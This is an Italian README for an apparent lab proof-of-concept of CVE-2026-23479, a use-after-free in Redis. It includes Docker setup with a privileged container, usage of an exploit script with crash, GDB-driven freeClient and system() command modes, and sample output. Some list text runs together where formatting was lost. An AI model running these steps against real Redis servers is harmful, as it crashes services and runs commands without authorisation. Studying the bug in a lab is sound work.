
Prova di concetto con sfruttamento di vulnerabilità assistito da GDB (solo uso educativo / di laboratorio)
Use-After-Free in Redis
unblockClientOnKey()che porta a Remote Code Execution
Proof of concept con exploitation assistita da GDB (solo per uso didattico / in laboratorio)
CVE-2026-23479 è una vulnerabilità critica di tipo Use‑After‑Free (UAF) nelle versioni di Redis dalla 7.2.0 alla 8.6.2.
Il bug risiede in unblockClientOnKey() che chiama processCommandAndResetClient() senza controllarne il valore di ritorno.
Se il client viene liberato durante quella chiamata (ad esempio a causa di un'eviction), il chiamante continua a operare su un puntatore pendente → UAF.
Un attaccante in grado di manipolare l'heap dopo la free può ottenere l'esecuzione di codice arbitrario.
Questo repository fornisce un PoC assistito da GDB che:
freeClient())system() nello stesso punto⚠️ Importante: Questo non è un exploit weaponizzato. Utilizza GDB all'interno di un container Docker privilegiato per simulare ciò che un vero attaccante potrebbe ottenere dopo aver sfruttato con successo la vulnerabilità. Usalo solo nel tuo laboratorio o su sistemi per cui hai esplicita autorizzazione al test.
https://github.com/user-attachments/assets/5ce3aff0-e21c-4ad4-8a0b-50b57bdcf9ea
crash, gdb, rce, full--containerXREAD BLOCK fa attendere il client per i dati dello stream.pid 1) all'interno del container.processCommandAndResetClient – la funzione chiamata quando il client bloccato viene riprocessato.XADD sullo stesso stream risveglia la vittima.gdb: chiama freeClient($rdi) → causa deliberatamente un SIGSEGV → dimostra la UAF.rce: chiama system("il tuo comando") → esegue comandi shell arbitrari come utente Redis (root per impostazione predefinita).Il breakpoint scatta ogni volta che un client bloccato viene sbloccato, dimostrando che lo stesso percorso di codice che contiene la UAF consente anche l'esecuzione di codice.
| Branch | Intervallo vulnerabile |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
Lo script analizza automaticamente la versione di Redis e segnala se è vulnerabile.
apt (ad esempio l'ufficiale redis:8.6.2)--privileged (necessario per ptrace)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # dovrebbe restituire PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
| Modalità | Descrizione |
|---|---|
crash | Tenta di attivare la UAF tramite pressione sulla memoria (GDB non richiesto). Redis potrebbe andare in crash, ma non è garantito. |
gdb | Collega GDB e chiama freeClient() al breakpoint → forza un SIGSEGV (dimostra la UAF). |
rce | Collega GDB e chiama system(cmd) al breakpoint → esegue un comando shell all'interno del container. |
full | Esegue prima crash; se Redis non va in crash, ripiega su gdb. |
| Argomento | Predefinito | Descrizione |
|---|---|---|
target | (obbligatorio) | Indirizzo IP del server Redis |
-p, --port | 6379 | Porta Redis |
-m, --mode | full | Una tra crash, gdb, rce, full |
--container | env-redis-vuln-1 | Nome del container Docker |
--cmd | id > /tmp/pwned_by_cve | Comando da eseguire in modalità rce |
Nota: Tutti i comandi vengono eseguiti dalla macchina host, non all'interno del container Docker.
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
Redis andrà in crash dopo il segmentation fault.
Riavvia il container:
docker start redis-vuln-local
Riavvia Redis per garantire uno stato pulito:
docker restart redis-vuln-local
Esegui l'exploit:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
Verifica il file di prova:
docker exec redis-vuln-local ls -l /tmp/pwned
Se ha successo, il file esisterà, dimostrando che:
system("touch /tmp/pwned");
è stato eseguito all'interno del container Redis.
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
Se Redis termina inaspettatamente (il container non è più in esecuzione), la UAF è stata probabilmente attivata.
Riavvialo con:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
Questa modalità:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE